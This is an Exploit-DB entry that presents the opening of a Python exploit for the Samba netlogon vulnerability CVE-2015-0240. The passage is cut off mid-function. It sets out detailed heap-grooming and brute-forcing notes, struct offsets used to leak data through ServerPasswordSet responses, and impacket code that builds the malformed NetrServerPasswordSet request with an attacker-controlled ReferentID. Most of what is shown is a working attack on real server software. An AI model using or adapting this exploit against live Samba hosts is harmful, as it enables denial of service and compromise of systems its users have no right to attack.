Exploit-DB #36741
Description: Samba < 3.6.2 (x86) - Denial of Service (PoC)
Type: dos
Platform: linux_x86
Date: 2015-04-13
Author: sleepya

Exploit:
#!/usr/bin/python
"""
Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya

The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by 
ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
in libtalloc does not write a value on 'creds' address.

Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/

Note:
- heap might be changed while running exploit, need to try again (with '-hs' or '-pa' option)
  if something failed

Find heap address:
- ubuntu PIE heap start range: b7700000 - b9800000
- start payload size: the bigger it is the lesser connection and binding time.
  but need more time to shrink payload size
- payload is too big to fit in freed small hole. so payload is always at end
  of heap
- start bruteforcing heap address from high memory address to low memory address
  to prevent 'creds' pointed to real heap chunk (also no crash but not our payload)

Leak info:
- heap layout is predictable because talloc_stackframe_pool(8192) is called after 
  accepted connection and fork but before calling smbd_server_connection_loop_once()
- before talloc_stackframe_pool(8192) is called, there are many holes in heap
  but their size are <8K. so pool is at the end of heap at this time
- many data that allocated after talloc_stackframe_pool(8192) are allocated in pool.
  with the same pattern of request, the layout in pool are always the same.
- many data are not allocated in pool but fit in free holes. so no small size data are
  allocated after pool.
- normally there are only few data block allocated after pool.
  - pool size: 0x2048 (included glibc heap header 4 bytes)
  - a table that created in giconv_open(). the size is 0x7f88 (included glibc heap header 4 bytes)
  - p->in_data.pdu.data. the size is 0x10e8 (included glibc heap header 4 bytes)
    - this might not be allocated here because its size might fit in freed hole
    - all fragment should be same size to prevent talloc_realloc() changed pdu.data size
      - so last fragment should be padded
  - ndr DATA_BLOB. the size is 0x10d0 (included glibc heap header 4 bytes)
    - this might not be allocated here because its size might fit in freed hole
  - p->in_data.data.data. the size is our netlogon data
    - for 8K payload, the size is 0x2168 (included glibc heap header 4 bytes)
    - this data is allocated by realloc(), grew by each fragment. so this memory
      block is not allocated by mmapped even the size is very big.
- pool layout for interested data
  - r->out offset from pool (talloc header) is 0x13c0
    - r->out.return_authenticator offset from pool is 0x13c0+0x18
      - overwrite this (with link unlink) to leak info in ServerPasswordSet response
  - smb_request offset from pool (talloc header) is 0x11a0
    - smb_request.sconn offset from pool is 0x11a0+0x3c
      - socket fd is at smb_request.sconn address (first struct member)
- more shared folder in configuration, more freed heap holes
  - only if there is no or one shared, many data might be unexpected allocated after pool.
    have to get that extra offset or bruteforce it


More exploitation detail in code (comment) ;)
"""

import sys
import time
from struct import pack,unpack
import argparse

import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR


class Requester:
    """
    put all smb request stuff into class. help my editor folding them
    """
    
    # impacket does not implement NetrServerPasswordSet
    # 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
    class NetrServerPasswordSet(NDRCALL):
        opnum = 6
        structure = (
           ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
           ('AccountName',WSTR),
           ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
           ('ComputerName',WSTR),
           ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
           ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
        )
    # response is authenticator (8 bytes) and error code (4 bytes)

    # size of each field in sent packet
    req_server_handle_size = 16
    req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null
    req_sec_type_size = 2
    req_computer_size = 4 + 4 + 4 + 2
    req_authenticator_size = 8 + 2 + 4
    req_new_pwd_size = 16
    req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size
    
    samba_rpc_fragment_size = 4280
    netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24  # 24 is dcerpc header size
    
    def __init__(self):
        self.target = None
        self.dce = None
        
        sessionKey = '\x00'*16
        # prepare ServerPasswordSet request
        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
        authenticator['Timestamp'] = 10

        uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
        uasNewPass['Data'] = '\x00'*16

        self.serverName = nrpc.PLOGONSRV_HANDLE()
        # ReferentID field of PrimaryName controls the uninitialized value of creds
        self.serverName.fields['ReferentID'] = 0
        
        self.accountName = WSTR()

        request = Requester.NetrServerPasswordSet()
        request['PrimaryName'] = self.serverName
        request['AccountName'] = self.accountName
        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
        request['ComputerName'] = '\x00'
        request['Authenticator'] = authenticator
        request['UasNewPassword'] = uasNewPass
        self.request = request
    
    def set_target(self, target):
        self.target = target
        
    def set_payload(self, s, pad_to_